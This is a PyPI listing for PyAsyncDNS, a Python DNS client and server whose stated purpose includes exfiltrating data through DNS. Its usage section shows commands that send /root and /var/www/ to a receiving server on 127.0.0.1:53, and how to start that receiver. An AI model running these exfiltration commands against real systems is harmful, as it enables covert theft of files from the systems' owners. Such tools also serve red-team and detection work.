This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.
Project description
PyAsyncDNS
Description
This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.
Requirements
This package require:
- python3
- python3 Standard Library
Installation
Pip
python3 -m pip install PyAsyncDNS
Git
git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .
Wget
wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
cURL
curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
Usages
Command line
PyAsyncDNS # Using CLI package executable
python3 -m PyAsyncDNS # Using python module
python3 PyAsyncDNS.pyz # Using python executable
PyAsyncDNS.exe # Using python Windows executable
python3 -m PyAsyncDNS.client example.com kernel.org
PyAsyncDNS client example.com kernel.org
python3 -m PyAsyncDNS.server 127.0.0.1 53
PyAsyncDNS server 127.0.0.1 53
python3 -m PyAsyncDNS.exfiltrator 127.0.0.1 53 /root /var/www/
PyAsyncDNS exfiltration 127.0.0.1 53 /root /var/www/
python3 -m PyAsyncDNS.exfiltrator_server 127.0.0.1 53
PyAsyncDNS exfiltration-server 127.0.0.1 53 /root /var/www/
Python script
from PyAsyncDNS import *
from asyncio import run
addresses = run(resolve_all(['example.com', 'kernel.org'])) # resolve address
run(start_async_dns_server('127.0.0.1', 53)) # start server
server.get_response = lambda domain_name, transaction_id: "127.0.0.1"
run(start_async_dns_server('127.0.0.1', 53)) # start server with custom behaviour to define response
run(exfiltrate_directories(['/root', '/var/www/'], "127.0.0.1", 53)) # exfiltrate /root and /var/www/ directories through DNS to 127.0.0.1:53 using UDP
Links
- Pypi
- Github
- Documentation client
- Documentation server
- Documentation exfiltrator
- Documentation exfiltrator server
- Python executable
- Python Windows executable
License
Licensed under the GPL, version 3.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
pyasyncdns-0.0.3.tar.gz
(25.0 kB
view details)
File details
Details for the file pyasyncdns-0.0.3.tar.gz.
File metadata
- Download URL: pyasyncdns-0.0.3.tar.gz
- Upload date:
- Size: 25.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.2
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
39bdbc5b13edf6c629c247857d56685f388ffa6892b867af91544dd76b320875
|
|
| MD5 |
617b2460228aa126d68f518fc8a901e9
|
|
| BLAKE2b-256 |
86341a06641ce7c2b8bc3066b862466c8222e17ef1ee122e89d8cf68d2eaf72c
|